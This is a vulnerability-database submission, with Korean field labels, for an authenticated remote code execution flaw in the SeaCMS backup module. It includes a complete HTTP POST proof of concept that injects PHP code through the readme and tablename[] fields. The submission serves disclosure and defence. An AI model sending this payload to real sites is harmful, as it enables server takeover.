| 제목 | SeaCms v13.3.20250820 Remote Code Execution |
|---|
| 설명 | # Summary
SeaCMS v13.3.20250820 contains a critical Authenticated Remote Code Execution (RCE) vulnerability in the backup module (ebak/phomebak.php). An attacker with administrative privileges can inject arbitrary PHP code into backup-related files, leading to full server compromise.
The vulnerability arises due to insufficient input sanitization in the DoEbak function, where user-controlled parameters (readme and tablename[]) are directly written into backup files without proper validation.
# Details
## Root Cause
The vulnerability occurs because:
User-supplied input (readme and tablename[]) is embedded directly into backup files.
No sanitization is applied before writing PHP code into files.
The backup files are later included and executed by the system.
## Vulnerable Code Snippet
```
// In ebak/phomebak.php:
if($phome=="DoEbak") {
Ebak_DoEbak($_POST); // User-controlled input passed directly
}
```
The Ebak_DoEbak() function processes unsanitized input, allowing PHP code injection.
# Proof of Concept (PoC)
```
POST /[admins' URL]/ebak/phomebak.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Cookie: [Admin Session Cookie]
phome=DoEbak&mydbname=seacms0919&baktype=0&filesize=1024&bakline=1000&autoauf=1&bakstru=1&dbchar=utf8&bakdatatype=1&mypath=123&insertf=replace&waitbaktime=0&readme=123<?php%20phpinfo();?>444&tablename%5B%5D=sea_zyk";?><?php%20phpinfo();?>0<!--&Submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
```
open http://127.0.0.1/[admins'url]/ebak/bdata/123/config.php
<img width="1350" height="978" alt="Image" src="https://github.com/user-attachments/assets/b0417522-5cd3-4dc9-b2d1-1ccfef84ba2d" />
<img width="866" height="406" alt="Image" src="https://github.com/user-attachments/assets/2663d7e8-2544-4042-b35d-f13d73002fb9" /> |
|---|
| 원천 | ⚠️ https://github.com/Hebing123/cve/issues/92 |
|---|
| 사용자 | jiashenghe (UID 39445) |
|---|
| 제출 | 2025. 09. 22. PM 12:03 (1 년도 ago) |
|---|
| 모더레이션 | 2025. 09. 26. PM 02:42 (4 days later) |
|---|
| 상태 | 중복 |
|---|
| VulDB 항목 | 271375 [SeaCMS 12.9 phomebak.php 원격 코드 실행] |
|---|
| 포인트들 | 0 |
|---|